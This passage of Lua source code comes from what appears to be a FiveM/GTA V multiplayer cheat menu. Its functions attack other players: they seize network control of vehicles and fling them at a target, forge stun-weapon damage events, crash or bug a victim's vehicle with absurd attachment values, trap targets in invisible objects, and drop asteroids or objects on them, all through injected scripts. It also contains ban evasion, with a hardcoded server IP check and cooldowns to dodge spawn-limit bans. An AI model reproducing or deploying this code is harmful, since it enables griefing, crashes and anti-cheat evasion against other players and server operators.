menu.vars.indivBools and menu.vars.indivBools.blackholePlayer then menu.vars.indivBools.blackholePlayer[targetPed] = false end return end menu.vars.blackholeTargets = menu.vars.blackholeTargets or {} menu.vars.blackholeTargets[serverId] = true if menu.vars.blackholePlayerThread then return end menu.vars.blackholePlayerThread = true menu.vars.blackholeControlledVehicles = menu.vars.blackholeControlledVehicles or {} menu.vars.blackholeVisitedVehicles = menu.vars.blackholeVisitedVehicles or {} menu.vars.blackholeTornadoPhase = {} local function getTargetCoords() for targetServerId, selected in pairs(menu.vars.blackholeTargets or {}) do if selected then local playerId = GetPlayerFromServerId(targetServerId) if playerId and playerId ~= -1 then local ped = GetPlayerPed(playerId) if ped and ped ~= 0 and DoesEntityExist(ped) then return GetEntityCoords(ped) end end end end return nil end local function hasActiveTarget() for targetServerId, selected in pairs(menu.vars.blackholeTargets or {}) do if selected then local playerId = GetPlayerFromServerId(targetServerId) if playerId and playerId ~= -1 then return true end end end return false end CreateThread(function() while menu.vars.blackholePlayerThread do if not hasActiveTarget() then menu.vars.blackholePlayerThread = false break end local playerPed = PlayerPedId() local originalCoords = GetEntityCoords(playerPed) local originalHeading = GetEntityHeading(playerPed) local inVehicle = IsPedInAnyVehicle(playerPed, false) local currentVehicle = inVehicle and GetVehiclePedIsIn(playerPed, false) or 0 local lastVehicle = GetVehiclePedIsIn(playerPed, true) local originalSeat = -1 if inVehicle and currentVehicle ~= 0 then for seat = -1, GetVehicleMaxNumberOfPassengers(currentVehicle) - 1, 1 do if GetPedInVehicleSeat(currentVehicle, seat) == playerPed then originalSeat = seat break end end end local controlledVehicles = {} local uncontrolledVehicles = {} for _, vehicle in ipairs(GetGamePool("CVehicle") or {}) do if DoesEntityExist(vehicle) and vehicle ~= currentVehicle and vehicle ~= lastVehicle and not menu.vars.blackholeVisitedVehicles[vehicle] then local driver = GetPedInVehicleSeat(vehicle, -1) local playerDriven = driver ~= 0 and IsEntityAPed(driver) and IsPedAPlayer(driver) if not playerDriven then local distance = #(originalCoords - GetEntityCoords(vehicle)) if distance < 300.0 then if not NetworkGetEntityIsNetworked(vehicle) then NetworkRegisterEntityAsNetworked(vehicle) end NetworkRequestControlOfEntity(vehicle) if NetworkHasControlOfEntity(vehicle) then controlledVehicles[#controlledVehicles + 1] = vehicle else uncontrolledVehicles[#uncontrolledVehicles + 1] = vehicle end end end end end local targetCoords = getTargetCoords() for _, vehicle in ipairs(controlledVehicles) do if DoesEntityExist(vehicle) then if targetCoords and NetworkHasControlOfEntity(vehicle) then local offsetX = math.random(-18, 18) * 0.1 local offsetY = math.random(-18, 18) * 0.1 SetEntityCoordsNoOffset( vehicle, targetCoords.x + offsetX, targetCoords.y + offsetY, targetCoords.z + 1.2, false, false, false ) end menu.vars.blackholeControlledVehicles[vehicle] = true menu.vars.blackholeVisitedVehicles[vehicle] = true end end if 0 < #uncontrolledVehicles then SetEntityVisible(playerPed, false, false) FreezeEntityPosition(playerPed, true) for _, vehicle in ipairs(uncontrolledVehicles) do if DoesEntityExist(vehicle) then if IsVehicleSeatFree(vehicle, -1) then SetPedIntoVehicle(playerPed, vehicle, -1) Wait(100) TaskLeaveVehicle(playerPed, vehicle, 16) Wait(0) end if targetCoords and NetworkHasControlOfEntity(vehicle) then local offsetX = math.random(-18, 18) * 0.1 local offsetY = math.random(-18, 18) * 0.1 SetEntityCoordsNoOffset( vehicle, targetCoords.x + offsetX, targetCoords.y + offsetY, targetCoords.z + 1.2, false, false, false ) end menu.vars.blackholeControlledVehicles[vehicle] = true menu.vars.blackholeVisitedVehicles[vehicle] = true end end if inVehicle and currentVehicle ~= 0 and DoesEntityExist(currentVehicle) then SetPedIntoVehicle(playerPed, currentVehicle, originalSeat) else SetEntityCoordsNoOffset( playerPed, originalCoords.x, originalCoords.y, originalCoords.z, false, false, false ) SetEntityHeading(playerPed, originalHeading) end FreezeEntityPosition(playerPed, false) SetEntityVisible(playerPed, true, false) end Wait(2000) end if menu.vars.blackholeControlledVehicles then for vehicle in pairs(menu.vars.blackholeControlledVehicles) do if DoesEntityExist(vehicle) and NetworkHasControlOfEntity(vehicle) then FreezeEntityPosition(vehicle, false) end end end menu.vars.blackholeControlledVehicles = {} menu.vars.blackholeVisitedVehicles = {} menu.vars.blackholeTargets = {} menu.vars.blackholeTornadoPhase = {} end) CreateThread(function() local approachForce = 8.5 local orbitDistance = 3.85 local orbitDuration = 2800 local maxSpeed = 19.0 while menu.vars.blackholePlayerThread do local targetCoords = getTargetCoords() if targetCoords then local playerPed = PlayerPedId() local currentVehicle = IsPedInAnyVehicle(playerPed, false) and GetVehiclePedIsIn(playerPed, false) or 0 local lastVehicle = GetVehiclePedIsIn(playerPed, true) local now = GetGameTimer() menu.vars.blackholeTornadoPhase = menu.vars.blackholeTornadoPhase or {} for vehicle in pairs(menu.vars.blackholeControlledVehicles) do if DoesEntityExist(vehicle) and NetworkHasControlOfEntity(vehicle) and vehicle ~= currentVehicle and vehicle ~= lastVehicle then FreezeEntityPosition(vehicle, false) local entityCoords = GetEntityCoords(vehicle) local delta = targetCoords - entityCoords local distance = #delta local phase = menu.vars.blackholeTornadoPhase[vehicle] if not phase then phase = { mode = "approach", endAt = 0, seed = math.random() * 6.28318 } menu.vars.blackholeTornadoPhase[vehicle] = phase end if phase.mode == "approach" and orbitDistance > distance then phase.mode = "orbit" phase.startAt = now phase.endAt = now + orbitDuration + math.random(-350, 350) elseif phase.mode == "orbit" and now >= phase.endAt then phase.mode = "approach" end if phase.mode == "orbit" and now < phase.endAt then local relativeX = entityCoords.x - targetCoords.x local relativeY = entityCoords.y - targetCoords.y local planarDistance = math.sqrt(relativeX * relativeX + relativeY * relativeY) if planarDistance < 0.12 then planarDistance = 0.12 end local tangentX = -relativeY / planarDistance local tangentY = relativeX / planarDistance local duration = math.max(1, phase.endAt - (phase.startAt or now)) local progress = math.min(1.0, math.max(0.0, (phase.endAt - now) / duration)) local remaining = 1.0 - progress local divisor = math.max(0.2, distance) local directionX = delta.x / divisor local directionY = delta.y / divisor local directionZ = delta.z / divisor local swirlScale = 0.12 + 0.68 * progress local tangentForce = 2.8 + progress * 4.2 local attraction = 9.0 + remaining * 22.0 local verticalWave = math.sin(now * 0.0078 + phase.seed) * 1.1 * swirlScale local forceX = tangentX * tangentForce * swirlScale + directionX * attraction local forceY = tangentY * tangentForce * swirlScale + directionY * attraction local forceZ = verticalWave + directionZ * attraction * 0.9 local torqueScale = 2.2 + remaining * 9.0 ApplyForceToEntity( vehicle, 1, forceX, forceY, forceZ, (math.random() - 0.5) * torqueScale, (math.random() - 0.5) * torqueScale, (math.random() - 0.5) * torqueScale * 1.1, 0, false, true, true, false, true ) elseif 0.22 < distance then local directionX = delta.x / distance local directionY = delta.y / distance local directionZ = delta.z / distance local distanceScale = math.max(distance, 14.0) local closeScale = 1.0 if distance < 12.0 then closeScale = math.min(1.35, 1.0 + (12.0 - distance) * 0.09) end local forceScale = approachForce * (1.0 + 9.0 / distanceScale) * closeScale local verticalBoost = math.min(0.55, distance * 0.022) local randomScale = math.min(0.65, distance / 18.0) local randomX = math.random(-4, 4) * randomScale local randomY = math.random(-4, 4) * randomScale local randomZ = math.random(-4, 4) * randomScale ApplyForceToEntity( vehicle, 1, directionX * forceScale, directionY * forceScale, directionZ * forceScale + verticalBoost, randomX, randomY, randomZ, 0, false, true, true, false, true ) end if NetworkHasControlOfEntity(vehicle) then local velocity = GetEntityVelocity(vehicle) local velocityX = velocity.x or velocity[1] or 0.0 local velocityY = velocity.y or velocity[2] or 0.0 local velocityZ = velocity.z or velocity[3] or 0.0 local speed = math.sqrt(velocityX * velocityX + velocityY * velocityY + velocityZ * velocityZ) if maxSpeed < speed then local scale = maxSpeed / speed SetEntityVelocity( vehicle, velocityX * scale, velocityY * scale, velocityZ * scale ) end end end if not DoesEntityExist(vehicle) then menu.vars.blackholeControlledVehicles[vehicle] = nil if menu.vars.blackholeTornadoPhase then menu.vars.blackholeTornadoPhase[vehicle] = nil end end end end Wait(115) end end) return end if menu.vars.indivBools and menu.vars.indivBools.blackholePlayer then menu.vars.indivBools.blackholePlayer[targetPed] = false end if menu.vars.blackholeTargets then menu.vars.blackholeTargets[serverId] = nil end local hasTargets = false if menu.vars.blackholeTargets then for _, selected in pairs(menu.vars.blackholeTargets) do if selected then hasTargets = true break end end end if not hasTargets then menu.vars.blackholePlayerThread = false if menu.vars.blackholeControlledVehicles then for vehicle in pairs(menu.vars.blackholeControlledVehicles) do if DoesEntityExist(vehicle) and NetworkHasControlOfEntity(vehicle) then FreezeEntityPosition(vehicle, false) end end end menu.vars.blackholeTornadoPhase = {} end end function assembledMenuFunctions.tazeLoopPlayer(toggleOptions) if not toggleOptions or not toggleOptions.targetInfo or not toggleOptions.targetInfo.ped then return end local targetPed = toggleOptions.targetInfo.ped local maxDistance = 93.0 local function isEntityWithinDistance(entity) if not entity or entity == 0 or not DoesEntityExist(entity) then return false end local playerPed = PlayerPedId() if playerPed == 0 then return false end local distance = #(GetEntityCoords(playerPed) - GetEntityCoords(entity)) return distance <= maxDistance end local enabled = toggleOptions.toggleState if enabled then if menu.utils.isTargetFriend(toggleOptions.targetInfo) then menu.utils.notify("Blocked: target is a friend.", "info", 2000) if menu.vars.indivBools and menu.vars.indivBools.tazeLoop then menu.vars.indivBools.tazeLoop[targetPed] = false end return end if not isEntityWithinDistance(targetPed) then menu.utils.notify("Taze loop: target must be within 93 meters.", "error", 3500) if menu.vars.indivBools and menu.vars.indivBools.tazeLoop then menu.vars.indivBools.tazeLoop[targetPed] = false end return end if menu.vars.tazeLoopPlayerThread then return end menu.vars.tazeLoopPlayerThread = true local createThread = CreateThread local function runTazeLoopPlayerThread() local weaponHash = GetHashKey("weapon_stunrod") do local repeatFrame = false repeat repeatFrame = false repeat local threadRunning = menu.vars.tazeLoopPlayerThread repeat if threadRunning then local hasEligibleTarget = false local toggleStates = menu.vars.indivBools do local foundEligibleTarget = false repeat if toggleStates then toggleStates = menu.vars.indivBools.tazeLoop if not toggleStates then break end local pairsFunction = pairs local targets = menu.vars.indivBools.tazeLoop local iterator, iteratorState, iteratorKey = pairsFunction(targets) for ped, selected in iterator, iteratorState, iteratorKey do repeat if selected then local entityExists = DoesEntityExist(ped) if not entityExists then break end local entityDead = IsEntityDead(ped) if entityDead then break end local distance do local getEntityCoords = GetEntityCoords local playerPed = PlayerPedId distance = getEntityCoords(playerPed()) end do local entityCoords = GetEntityCoords(ped) distance = distance - entityCoords distance = #distance end local limit = maxDistance if not (distance <= limit) then break end hasEligibleTarget = true foundEligibleTarget = true break end until true if foundEligibleTarget then break end end if foundEligibleTarget then break end end until true end if not hasEligibleTarget then local toggleStates = menu.vars.indivBools if toggleStates then toggleStates = menu.vars.indivBools.tazeLoop if toggleStates then local pairsFunction = pairs local targets = menu.vars.indivBools.tazeLoop local iterator, iteratorState, iteratorKey = pairsFunction(targets) for ped, selected in iterator, iteratorState, iteratorKey do if selected then local currentTargets = menu.vars.indivBools.tazeLoop currentTargets[ped] = false end end end end local menuVars = menu.vars menuVars.tazeLoopPlayerThread = false break end local playerPed = PlayerPedId() local toggleStates = menu.vars.indivBools repeat if toggleStates then toggleStates = menu.vars.indivBools.tazeLoop if not toggleStates then break end local pairsFunction = pairs local targets = menu.vars.indivBools.tazeLoop local iterator, iteratorState, iteratorKey = pairsFunction(targets) for ped, selected in iterator, iteratorState, iteratorKey do if selected then local entityExists = DoesEntityExist(ped) if entityExists then local entityDead = IsEntityDead(ped) if not entityDead then local distance = GetEntityCoords(playerPed) do local entityCoords = GetEntityCoords(ped) distance = distance - entityCoords distance = #distance end local limit = maxDistance if distance <= limit then local playerIndex = NetworkGetPlayerIndexFromPed(ped) if playerIndex then if playerIndex ~= -1 then local serverId = GetPlayerServerId(playerIndex) if serverId then if 0 < serverId then local eventDistance = GetEntityCoords(playerPed) do local entityCoords = GetEntityCoords(ped) eventDistance = eventDistance - entityCoords eventDistance = #eventDistance end local sendWeaponDamageEvent = Ham.sendWeaponDamageEvent local damageEvent = {} damageEvent.weaponHash = weaponHash damageEvent.damage = 0 damageEvent.damageType = 3 damageEvent.hitGlobalId = 0 damageEvent.parentGlobalId = 0 damageEvent.hitComponent = 20 damageEvent.overrideDamage = true local networkTimeAccurate = GetNetworkTimeAccurate() damageEvent.damageTime = networkTimeAccurate damageEvent.f133 = true damageEvent.isNetTargetPos = true damageEvent.damageFlags = 513 damageEvent.f112Data = eventDistance sendWeaponDamageEvent( serverId, damageEvent ) end end end end end end end end end end until true local wait = Wait wait(220) repeatFrame = true break end until true if repeatFrame then break end local menuVars = menu.vars menuVars.tazeLoopPlayerThread = false until true until not repeatFrame end end createThread(runTazeLoopPlayerThread) end end function assembledMenuFunctions.stuckPlayer(toggleOptions, unusedArgument) if toggleOptions then do local targetInfo = toggleOptions.targetInfo if not targetInfo then return end end local endpoint = Ham do local foundEndpoint = false repeat repeat if endpoint then endpoint = Ham.getServerEndpoint if not endpoint then break end endpoint = Ham.getServerEndpoint() if endpoint then foundEndpoint = true break end end until true if foundEndpoint then break end endpoint = "" until true end if endpoint == "194.48.217.174" then local notify = menu.utils.notify notify("Ban Blocked", "error", 4000) return end local targetInfo = toggleOptions.targetInfo local toggleState = toggleOptions.toggleState local isVehicleWhitelisted = menu.utils.isVehicleWhitelisted local whitelisted = isVehicleWhitelisted("jugular") if not whitelisted then local notify = menu.utils.notify notify("Vehicle is blacklisted", "error", 2000) return end local format = string.format local template = [[ local targetPed = %d local enableStuck = %s if not DoesEntityExist(targetPed) then return end if not _IG then _IG = {} end if not _IG.stuckTargets then _IG.stuckTargets = {} end if enableStuck then local modelHash = GetHashKey("jugular") RequestModel(modelHash) local timeout = GetGameTimer() + 5000 while not HasModelLoaded(modelHash) and GetGameTimer() < timeout do Wait(0) end local targetCoords = GetEntityCoords(targetPed) local blockingObject = CreateObject(modelHash, targetCoords.x, targetCoords.y, targetCoords.z, true, false, false) if not DoesEntityExist(blockingObject) then return end SetEntityAsMissionEntity(blockingObject, true, true) SetEntityCoords(blockingObject, targetCoords.x, targetCoords.y, targetCoords.z, false, false, false, true) Citizen.SetTimeout(50, function() if DoesEntityExist(blockingObject) then SetEntityVisible(blockingObject, false, 0) end end) SetEntityCollision(blockingObject, true, true) SetEntityInvincible(blockingObject, true) FreezeEntityPosition(blockingObject, true) _IG.stuckTargets[targetPed] = { obj = blockingObject } Citizen.CreateThread(function() while _IG.stuckTargets[targetPed] do if not DoesEntityExist(targetPed) then break end local obj = _IG.stuckTargets[targetPed] and _IG.stuckTargets[targetPed].obj or 0 if obj == 0 or not DoesEntityExist(obj) then break end Wait(0) end local data = _IG.stuckTargets[targetPed] if data and data.obj and DoesEntityExist(data.obj) then DeleteEntity(data.obj) end _IG.stuckTargets[targetPed] = nil end) else local data = _IG.stuckTargets[targetPed] if data and data.obj and DoesEntityExist(data.obj) then DeleteEntity(data.obj) end _IG.stuckTargets[targetPed] = nil end ]] local targetPed = targetInfo.ped local enabledFlag repeat if toggleState then enabledFlag = "true" if enabledFlag then break end end enabledFlag = "false" until true local script = format(template, targetPed, enabledFlag) local safeExecute = menu.utils.safeExecute safeExecute(script) end end function assembledMenuFunctions.crashPlayer(options) if options then local targetInfo = options.targetInfo if not targetInfo then return end local template = [[ Citizen.CreateThread(function() local targetPed = %d local playerPed = PlayerPedId() if targetPed == -1 or not DoesEntityExist(targetPed) then return end if not IsPedInAnyVehicle(targetPed, false) then return end local targetVehicle = GetVehiclePedIsIn(targetPed, false) if not DoesEntityExist(targetVehicle) then return end if GetEntitySpeed(targetVehicle) > 5.0 then local targetModel = GetHashKey("mule3") local tCoords = GetEntityCoords(targetVehicle) local offsetCoords = vector3(tCoords.x + 19.0, tCoords.y, tCoords.z) RequestModel(targetModel) while not HasModelLoaded(targetModel) do Wait(0) end local vehicle = CreateVehicle(targetModel, offsetCoords.x, offsetCoords.y, offsetCoords.z, 0.0, true, false) SetEntityVisible(vehicle, false, false) SetEntityInvincible(vehicle, true) AttachEntityToEntityPhysically( vehicle, targetVehicle, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1.0, true, true, true, true, 0 ) SetModelAsNoLongerNeeded(targetModel) end local model = GetHashKey("%s") RequestModel(model) while not HasModelLoaded(model) do Wait(0) end local origCoords = GetEntityCoords(targetVehicle) local origHeading = GetEntityHeading(targetVehicle) local targetCoords = GetEntityCoords(targetPed) local shooterPed = CreatePed(4, model, targetCoords.x, targetCoords.y, targetCoords.z, 0.0, true, true) -- Tag as menu-spawned so NPC ESP can ignore it pcall(function() local ent = Entity(shooterPed) if ent and ent.state then ent.state:set("pm_menu_spawned", true, true) end end) SetEntityVisible(shooterPed, false, false) SetEntityInvincible(shooterPed, true) FreezeEntityPosition(shooterPed, true) AttachEntityToEntity( playerPed, targetVehicle, -1, vector3(0.0, -2.0, 0.0), -- offset (behind car) vector3(0.0, 0.0, 0.0), -- rotation false, false, false, false, 2, true ) Citizen.Wait(750) if targetMule then DeleteEntity(targetMule) end for i = 1, 10 do local directions = { vector3(1,0,0), vector3(-1,0,0), vector3(0,1,0), vector3(0,-1,0), } local targetHeadCoords = GetPedBoneCoords(targetPed, 31086, 0.0, 0.0, 0.0) for _, dir in ipairs(directions) do local muzzleCoords = targetHeadCoords + dir * 1.0 print(DoesEntityExist(shooterPed)) _G.Citizen.Bongs.Citizen.InvokeNative(0xE3A7742E0B7A2F8B, targetHeadCoords.x - 0.2, targetHeadCoords.y - 0.2, targetHeadCoords.z - 0.2, targetHeadCoords.x, targetHeadCoords.y, targetHeadCoords.z, 0, true, GetHashKey("WEAPON_STUNGUN"), shooterPed, false, true, 1000.0, targetVehicle, true, false, true ) end Wait(50) end DeletePed(shooterPed) SetModelAsNoLongerNeeded(model) DetachEntity(playerPed, targetVehicle, false) Citizen.Wait(100) SetEntityCoords(playerPed, origCoords.x, origCoords.y, origCoords.z) SetEntityHeading(playerPed, origHeading) end) ]] local script = string.format(template, options.targetInfo.ped, "a_c_retriever") menu.utils.safeExecute(script) end end function assembledMenuFunctions.legacyBugPlayerVehicle(toggleOptions) local spawnAsObject = menu.vars.spawnVehiclesAsObject repeat if spawnAsObject then spawnAsObject = 1 if spawnAsObject then break end end spawnAsObject = 0 until true local safeSpawn = menu.vars.bools.safeVehicleSpawn repeat if safeSpawn then safeSpawn = 1 if safeSpawn then break end end safeSpawn = 0 until true if toggleOptions then local targetInfo = toggleOptions.targetInfo if not targetInfo then return end local targetPed do local targetInfo = toggleOptions.targetInfo targetPed = targetInfo.ped end local enabled = toggleOptions.toggleState if enabled then local format = string.format local template = [[ _G.bgTbl = _G.bgTbl or {} local targetPed = %d local targetCoords = GetEntityCoords(targetPed) local targetHeading = GetEntityHeading(targetPed) local playerCoords = GetEntityCoords(PlayerPedId()) local playerHeading = GetEntityHeading(PlayerPedId()) local vehicleModel = "mule5" local spawnCoords = vector3(playerCoords.x, playerCoords.y, playerCoords.z + 2.0) local veh = nil if %d == 1 and %d == 0 then local vehicleHash = GetHashKey(vehicleModel) RequestModel(vehicleHash) while not HasModelLoaded(vehicleHash) do Citizen.Wait(10) end veh = CreateObject(vehicleHash, spawnCoords.x, spawnCoords.y, spawnCoords.z, true, true, false) if veh and DoesEntityExist(veh) then Citizen.Wait(50) SetEntityVisible(veh, false, false) end else _G.Citizen.Bongs.utils.spawnVehicle(vehicleModel, spawnCoords, targetHeading, function(vehicle) if not vehicle or not DoesEntityExist(vehicle) then return end Citizen.Wait(50) veh = vehicle SetEntityVisible(veh, false, false) end, %d) while veh == nil do Wait(10) end end if veh and DoesEntityExist(veh) then NetworkRequestControlOfEntity(veh) Wait(100) SetPedIntoVehicle(PlayerPedId(), veh, -1) Wait(200) ClearPedTasks(PlayerPedId()) _G.bgTbl[targetPed] = veh Citizen.CreateThread(function() local startTime = GetGameTimer() local duration = 3000 while GetGameTimer() - startTime < duration do AttachEntityToEntityPhysically(veh, targetPed, 99999999999999999999999999, 999999999999999999999990, 99999999999999999999990, 2226999999994.58, 1429999999999236.928, 800999999999990.0, 199999999999999999980.0, 8889099998.0, 999999999999999999999999999999999999999.0, true, true, true, true, 0) Wait(0) end _G.bgTbl[targetPed] = nil end) end ]] local script = format(template, targetPed, spawnAsObject, safeSpawn, safeSpawn) menu.utils.safeExecute(script) return end local format = string.format local template = [[ local targetPed = %d if not _G.bgTbl[targetPed] then return end DeleteEntity(_G.bgTbl[targetPed]) _G.bgTbl[targetPed] = nil ]] local script = format(template, targetPed) local safeExecute = menu.utils.safeExecute safeExecute(script) end end function assembledMenuFunctions.asteroidAttack(options) local isObjectWhitelisted = menu.utils.isObjectWhitelisted local whitelisted = isObjectWhitelisted("prop_asteroid_01") if not whitelisted then local notify = menu.utils.notify notify("Object is blacklisted", "error", 2000) return end if options then do local targetInfo = options.targetInfo if not targetInfo then return end end local targetInfo = options.targetInfo local targetPed = targetInfo.ped local scriptPrefix = [[ local spawnedAsteroids = {} local function SpawnAsteroid(ped, side) local pedCoords = GetEntityCoords(ped) local radius = math.random(40,50) local spawnX, spawnY, spawnZ if side == "left" then spawnX = pedCoords.x - radius spawnY = pedCoords.y spawnZ = pedCoords.z + 20 elseif side == "right" then spawnX = pedCoords.x + radius spawnY = pedCoords.y spawnZ = pedCoords.z + 20 elseif side == "top" then spawnX = pedCoords.x spawnY = pedCoords.y spawnZ = pedCoords.z + 40 elseif side == "bottom" then spawnX = pedCoords.x spawnY = pedCoords.y spawnZ = pedCoords.z - 20 else spawnX = pedCoords.x spawnY = pedCoords.y spawnZ = pedCoords.z + 20 end local model = GetHashKey("prop_asteroid_01") RequestModel(model) while not HasModelLoaded(model) do Wait(0) end local asteroid = CreateObject(model, spawnX, spawnY, spawnZ, true, true, true) SetEntityDynamic(asteroid, true) table.insert(spawnedAsteroids, asteroid) end local function AsteroidChase(asteroid, ped) CreateThread(function() while DoesEntityExist(asteroid) and DoesEntityExist(ped) do local pedCoords = GetEntityCoords(ped) local asteroidCoords = GetEntityCoords(asteroid) local dirX = pedCoords.x - asteroidCoords.x local dirY = pedCoords.y - asteroidCoords.y local dirZ = pedCoords.z - asteroidCoords.z local speed = 10.0 ApplyForceToEntity(asteroid, 1, dirX*speed, dirY*speed, dirZ*speed, 0.0,0.0,0.0,0,false,true,true,false,true) Wait(50) end end) end CreateThread(function() local targetPed = ]] local targetValue = targetPed local scriptSuffix = [[ if targetPed and DoesEntityExist(targetPed) then local sides = {"left", "right", "top", "bottom"} SpawnAsteroid(targetPed, sides[1]) AsteroidChase(spawnedAsteroids[#spawnedAsteroids], targetPed) for i = 2, #sides do SetTimeout(500 * (i-1), function() SpawnAsteroid(targetPed, sides[i]) AsteroidChase(spawnedAsteroids[#spawnedAsteroids], targetPed) end) end end end) ]] local script = scriptPrefix .. targetValue .. scriptSuffix local safeExecute = menu.utils.safeExecute safeExecute(script) end end function assembledMenuFunctions.objectDrop(options) repeat if options then local targetInfo = options.targetInfo if targetInfo then break end end return until true local cooldown = 20000 local lastDropTime = objectDropLastTime if not lastDropTime then objectDropLastTime = 0 end local currentTime = GetGameTimer() local elapsed do local lastDropTime = objectDropLastTime elapsed = currentTime - lastDropTime end if cooldown > elapsed then local remainingSeconds do local ceilFunction = math.ceil local remaining = cooldown - elapsed remaining = remaining / 1000 remainingSeconds = ceilFunction(remaining) end local notify = menu.utils.notify local message = "You can press this again in " .. remainingSeconds .. " seconds to avoid a spawn limit ban" notify(message, "error", 3000) return end local models = {} models[1] = "h4_prop_h4_sub_kos" models[2] = "xs_prop_ar_buildingx_01a_sf" models[3] = "p_parachute1_mp_s" local ipairsFunction = ipairs local iterator, iteratorState, iteratorKey = ipairsFunction(models) for index, model in iterator, iteratorState, iteratorKey do local whitelisted = menu.utils.isObjectWhitelisted(model) if not whitelisted then local notify = menu.utils.notify local message = "Object is blacklisted: " .. model notify(message, "error", 2000) return end end local targetPed do local targetInfo = options.targetInfo targetPed = targetInfo.ped end local scriptPrefix = [[ local dropModels = { {model = "h4_prop_h4_sub_kos", offsetX = 0, height = 30, wait = 0}, {model = "xs_prop_ar_buildingx_01a_sf", offsetX = 20, height = 30, wait = 1000}, {model = "p_parachute1_mp_s", offsetX = 0, height = 10, wait = 3000}, {model = "h4_prop_h4_sub_kos", offsetX = 0, height = 30, wait = 2000}, {model = "p_parachute1_mp_s", offsetX = 0, height = 10, wait = 2000}, } local targetPed = ]] local targetValue = targetPed local scriptSuffix = [[ local function dropObject(entry) if not targetPed or not DoesEntityExist(targetPed) then return end local pedCoords = GetEntityCoords(targetPed) local spawnPos = vector3(pedCoords.x + entry.offsetX, pedCoords.y, pedCoords.z + (entry.height or 30.0)) local hash = GetHashKey(entry.model) RequestModel(hash) local timeout = GetGameTimer() + 5000 while not HasModelLoaded(hash) and GetGameTimer() < timeout do Wait(0) end if not HasModelLoaded(hash) then return end local obj if entry.model == "h4_prop_h4_sub_kos" then obj = CreateObjectNoOffset(hash, spawnPos.x, spawnPos.y, spawnPos.z, true, true, true) else obj = CreateObject(hash, spawnPos.x, spawnPos.y, spawnPos.z, true, true, true) end if obj and obj ~= 0 and DoesEntityExist(obj) then FreezeEntityPosition(obj, true) SetEntityHasGravity(obj, true) ActivatePhysics(obj) SetEntityDynamic(obj, true) if entry.model == "h4_prop_h4_sub_kos" then SetEntityRotation(obj, -90.0, 0.0, 0.0, 2, true) end Wait(50) FreezeEntityPosition(obj, false) ApplyForceToEntity(obj, 1, 0.0, 0.0, -100.0, 0.0, 0.0, 0.0, 0, false, true, true, false, true) SetModelAsNoLongerNeeded(hash) end end CreateThread(function() for i, entry in ipairs(dropModels) do if entry.wait > 0 then Wait(entry.wait) end dropObject(entry) end end) ]] local script = scriptPrefix .. targetValue .. scriptSuffix objectDropLastTime = currentTime local safeExecute = menu.utils.safeExecute safeExecute(script) end pendingFunctionValue = {} pendingFunctionValue[1] = "Box" pendingFunctionValue[2] = "Backrooms" pendingFunctionValue[3] = "Tree" pendingFunctionValue[4] = "Truck" assembledMenuFunctions.trapObjectChoices = pendingFunctionValue pendingFunctionValue = {} pendingFunctionValue[1] = "Box" pendingFunctionValue[2] = "Marble" pendingFunctionValue[3] = "Black Surface" assembledMenuFunctions.cubeObjectChoices = pendingFunctionValue function assembledMenuFunctions.getCubeSideLayout(minBounds, maxBounds, layout) if layout == "upright" then local width = maxBounds.x do local coordinateX = minBounds.x width = width - coordinateX end local offset = width * 0.485 local sides = {} local north = {} north.ox = 0.0 north.oy = offset north.rx = 90.0 north.ry = 0.0 north.rz = 0.0 local south = {} south.ox = 0.0 local southOffset = -offset south.oy = southOffset south.rx = 90.0 south.ry = 0.0 south.rz = 180.0 local east = {} east.ox = offset east.oy = 0.0 east.rx = 90.0 east.ry = 0.0 east.rz = 90.0 local west = {} local westOffset = -offset west.ox = westOffset west.oy = 0.0 west.rx = 90.0 west.ry = 0.0 west.rz = -90.0 sides[1] = north sides[2] = south sides[3] = east sides[4] = west return sides end local maxFunction = math.max local width = maxBounds.x do local coordinateX = minBounds.x width = width - coordinateX end local height do local coordinateZ = maxBounds.z local lowerZ = minBounds.z height = coordinateZ - lowerZ end local dimension = maxFunction(width, height) local offset = dimension * 0.4 local sides = {} local north = {} north.ox = 0.0 north.oy = offset north.rx = 0.0 north.ry = 0.0 north.rz = 0.0 local south = {} south.ox = 0.0 local southOffset = -offset south.oy = southOffset south.rx = 0.0 south.ry = 0.0 south.rz = 180.0 local east = {} east.ox = offset east.oy = 0.0 east.rx = 0.0 east.ry = 0.0 east.rz = 90.0 local west = {} local westOffset = -offset west.ox = westOffset west.oy = 0.0 west.rx = 0.0 west.ry = 0.0 west.rz = -90.0 sides[1] = north sides[2] = south sides[3] = east sides[4] = west return sides end function assembledMenuFunctions.getCubeObjectSpec(requestedName) local specs = {} local spec = {} spec.model = "sr_prop_special_bblock_xl3_fixed" spec.layout = "upright" specs.Box = spec spec = {} spec.model = "m23_2_prop_m32_ice_block_05b" spec.layout = "upright" specs.Marble = spec spec = {} spec.model = "as_prop_as_bblock_huge_05" spec.layout = "upright" specs["Black Surface"] = spec if requestedName then spec = specs[requestedName] if spec then spec = specs[requestedName] return spec end end local selectedIndex = menu.vars.selectors repeat if selectedIndex then selectedIndex = menu.vars.selectors.cubeSelector if selectedIndex then break end end selectedIndex = 1 until true local choices = menu.functions.cubeObjectChoices if not choices then choices = {} choices[1] = "Box" choices[2] = "Marble" choices[3] = "Black Surface" end local selectedName = choices[selectedIndex] if not selectedName then selectedName = "Box" end local selectedSpec = specs[selectedName] if not selectedSpec then selectedSpec = specs.Box end return selectedSpec end function assembledMenuFunctions.getTrapObjectSpec(requestedName) local specs = {} local spec = {} spec.model = "tr_prop_tr_cabine_01a" spec.mode = "double_trap" specs.Office = spec spec = {} spec.model = "prop_mb_hesco_06" spec.mode = "box_overlap" specs.Box = spec spec = {} spec.model = "xs_propintarena_structure_l_01a" spec.mode = "double_trap" spec.layout = "nested" local rotationOffsets = {} rotationOffsets[1] = 0.0 rotationOffsets[2] = 180.0 spec.nestedRotOffsets = rotationOffsets spec.spawnZOffset = 0.0 spec.snapToGround = false specs.Backrooms = spec spec = {} spec.model = "test_tree_forest_trunk_04" spec.mode = "double_trap" spec.layout = "nested" spec.nestedAlign = "pivot" rotationOffsets = {} rotationOffsets[1] = 0.0 rotationOffsets[2] = 90.0 spec.nestedRotOffsets = rotationOffsets spec.spawnZOffset = -0.8 spec.snapToGround = false specs.Tree = spec spec = {} spec.model = "tr_prop_tr_van_ts_01a" spec.mode = "double_trap" spec.layout = "nested" spec.nestedAlign = "center" rotationOffsets = {} rotationOffsets[1] = 0.0 spec.nestedRotOffsets = rotationOffsets spec.spawnZOffset = 0.0 spec.snapToGround = false specs.Truck = spec if requestedName then spec = specs[requestedName] if spec then spec = specs[requestedName] 